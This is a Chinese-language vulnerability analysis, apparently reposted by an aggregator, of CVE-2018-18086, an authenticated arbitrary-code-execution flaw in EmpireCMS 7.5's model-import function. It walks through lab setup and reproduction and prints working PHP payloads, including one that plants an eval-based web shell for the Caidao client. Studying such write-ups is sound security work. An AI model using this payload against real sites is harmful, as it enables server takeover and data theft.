帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

Posted yuzly

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)相关的知识,希望对你有一定的参考价值。

帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

一、漏洞描述

EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。

二、影响版本

EmpireCMS<=7.5

三、环境搭建

1、官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/

2、把下载的文件中的upload下的所有目录和文件放入到网站根目录下

3、修改php.ini配置文件, PHP环境中必须开启短标签,不然安装会提示无法安装

  技术图片

4、设置php.ini中 short_open_tag = On,重启phpstudy

  技术图片

5、然后开始安装,安装过程参考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html

四、漏洞复现

1、查看/e/admin/ecmsmod.php代码

  技术图片

2、跟随LoadInMod函数来到/e/class/moddofun.php,可以看到上传文件处使用make_password(10)对时间进行加密然后拼接成为上传的文件名,这样就无法得到用户名

  技术图片

3、继续浏览代码,在下面发现@include($path),直接包含了这个上传的文件,这时如果在上传文件中添加可以创建文件的代码就可以绕过找不到文件名这个限制了。

  技术图片

4、我们可以构造如下payload:

<?php file_put_contents(“shell.php”,”<?php phpinfo(); ?>”); ?>

5、登录后台,点击如下图所示

  技术图片

6、点击”导入系统模型”之后进入如下界面

  技术图片

7、可以上传一个内容为php代码的”.mod”后缀的文件,内容如下:

  技术图片

8、上传1.php.mod文件

  技术图片

9、查看文件,可以看到成功上传

  技术图片

10、浏览访问http://192.168.10.171/empirecms/e/admin/shell.php,可以看到成功执行代码

  技术图片

11、上传一个内容可以getshell的1.php.mod,内容入下:注意需要对$进行转义

<?php file_put_contents("caidao.php","<?php @eval(\\$_POST[cmd]); ?>");?>

12、成功上传后,菜刀连接,成功getshell

  技术图片

 

 

 

------------------------------------------------------------------------------------------

参考: https://github.com/SukaraLin/php_code_audit_project/issues/1

以上是关于帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)的主要内容,如果未能解决你的问题,请参考以下文章

empireCMS 帝国cms功能总结

帝国CMS 如何查看版本

帝国CMS 网站首页Powered by EmpireCMS怎么去掉

帝国cms刷新所有信息内容页面出现这样错误怎么解决

帝国CMS 6.6社会化登录插件及安装教程

帝国CMS 是啥东西吗??如何或得???